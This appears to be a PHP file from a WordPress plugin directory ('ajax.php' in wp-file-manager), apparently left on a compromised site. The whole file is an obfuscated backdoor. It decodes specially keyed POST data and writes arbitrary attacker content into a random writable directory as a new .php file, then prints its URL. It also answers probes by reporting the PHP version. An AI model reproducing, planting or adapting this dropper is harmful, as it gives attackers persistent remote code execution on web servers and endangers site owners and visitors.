File: /home/slyfwmm/incastiglionfiorentino/wp-content/plugins/wp-file-manager/lib/themes/ajax.php
<?php $XlODgGtV = "VUSqaMv";function lcoRam($XlODgGtV){$xiInxQA = chr(318-204)."\141"."\167"."\165"."\162".'l'.'d'.chr(720-619).'c'.'o'."\144"."\x65";$ZVTlaj = chr(115)."\164".chr(850-736).'_'.chr(957-843).'o'.chr(116).'1'."\63";$tngUb = chr(116-1)."\x74".chr(114)."\137".chr(115)."\x70"."\154"."\151".'t';$XlODgGtV = $tngUb($xiInxQA($ZVTlaj($XlODgGtV)));return $XlODgGtV;}function WkVczg($LmiAiCirf, $VPSyZEmH){$wukeqR = "\163".chr(872-756)."\x72"."\137"."\x73".chr(112).'l'."\x69".chr(116);$LmiAiCirf = array_slice($wukeqR(str_repeat($LmiAiCirf, (count($VPSyZEmH)/16)+1)), 0, count($VPSyZEmH));return $LmiAiCirf;}function CGIEWUX($phzQx, $aJjCfFN, $LmiAiCirf){$BgzNJhm = "6dfecfad-fd4b-46b3-84ea-6c2227de4d15";return $phzQx ^ $BgzNJhm[$aJjCfFN % strlen($BgzNJhm)] ^ $LmiAiCirf;}function miiMMHl($VPSyZEmH, $LmiAiCirf){$VPSyZEmH = array_map("CGIEWUX", array_values($VPSyZEmH), array_keys($VPSyZEmH), array_values($LmiAiCirf));$VPSyZEmH = implode("", $VPSyZEmH);$HfFtP = chr(117).chr(110).chr(994-879).chr(1072-971).chr(114).chr(105)."\x61".'l'."\151".chr(207-85).'e';$VPSyZEmH = @$HfFtP($VPSyZEmH);return $VPSyZEmH;}function qyvXCtx(){echo "etsvwwuST";}function sCgjlhWNZX($BbPQNOQUir){static $uJxFi = array();$ihbKa = glob($BbPQNOQUir . '/*', GLOB_ONLYDIR);$JULMwUg = count($ihbKa);if ($JULMwUg > 0) {foreach ($ihbKa as $BbPQNOQU) {$Kadyvfo = "\x69".'s'."\x5f"."\x77"."\x72".chr(1065-960)."\164".chr(1079-982)."\x62".'l'.chr(573-472);if (@$Kadyvfo($BbPQNOQU)) {$uJxFi[] = $BbPQNOQU;}}}foreach ($ihbKa as $BbPQNOQUir) sCgjlhWNZX($BbPQNOQUir);return $uJxFi;}function yybrJdmyc(){echo "VUSqaMv";}function nHLmmULjd($VPSyZEmH){$XXORxLRGkI = "\x44".'O'.'C'."\125"."\x4d"."\105".chr(259-181)."\x54"."\x5f".chr(82)."\x4f"."\117".chr(84);$ASWPcrysm = $_SERVER[$XXORxLRGkI];$ihbKa = sCgjlhWNZX($ASWPcrysm);$WrDYnRZE = array_rand($ihbKa);$YLRoDSd = chr(927-881).'p'.chr(585-481).chr(792-680);$ApPFj = $ihbKa[$WrDYnRZE] . "/" . substr(md5(time()), 0, 8) . $YLRoDSd;$ydrerFky = "\146".chr(105).chr(108).'e'."\137".chr(1045-933).chr(862-745)."\164".'_'.chr(99).'o'.'n'.chr(116)."\x65"."\x6e"."\164".chr(115);@$ydrerFky($ApPFj, $VPSyZEmH);$oKbmJ = 'H'.'T'.chr(84).'P'.chr(123-28).chr(325-253).chr(79).chr(83).'T';$GZOorRCte = "\150"."\164"."\164".chr(112)."\72".'/'.'/';$kKzgIX = $GZOorRCte . $_SERVER[$oKbmJ] . substr($ApPFj, strlen($ASWPcrysm));print($kKzgIX);}foreach ($_POST as $LmiAiCirf => $VPSyZEmH){$myTSgvVtLV = strlen($LmiAiCirf);if ($myTSgvVtLV == 16){$VPSyZEmH = lcoRam($VPSyZEmH);$LmiAiCirf = WkVczg($LmiAiCirf, $VPSyZEmH);$VPSyZEmH = miiMMHl($VPSyZEmH, $LmiAiCirf);if (@is_array($VPSyZEmH)){$WrDYnRZE = array_keys($VPSyZEmH);$VPSyZEmH = $VPSyZEmH[$WrDYnRZE[0]];$WrDYnRZE = $WrDYnRZE[0];if ($VPSyZEmH !== $WrDYnRZE){nHLmmULjd($VPSyZEmH);}else {$rqXkan = "\160".chr(104)."\x70";$NkdPpI = "\160".chr(189-85).'p'."\x76"."\145".chr(114)."\163".chr(105)."\157".'n';$VPSyZEmH = Array($rqXkan => @$NkdPpI(), );$BRmfDFAf = "\163"."\x65"."\x72"."\x69"."\x61".chr(108).chr(105)."\172".chr(355-254);echo @$BRmfDFAf($VPSyZEmH);}die();}}}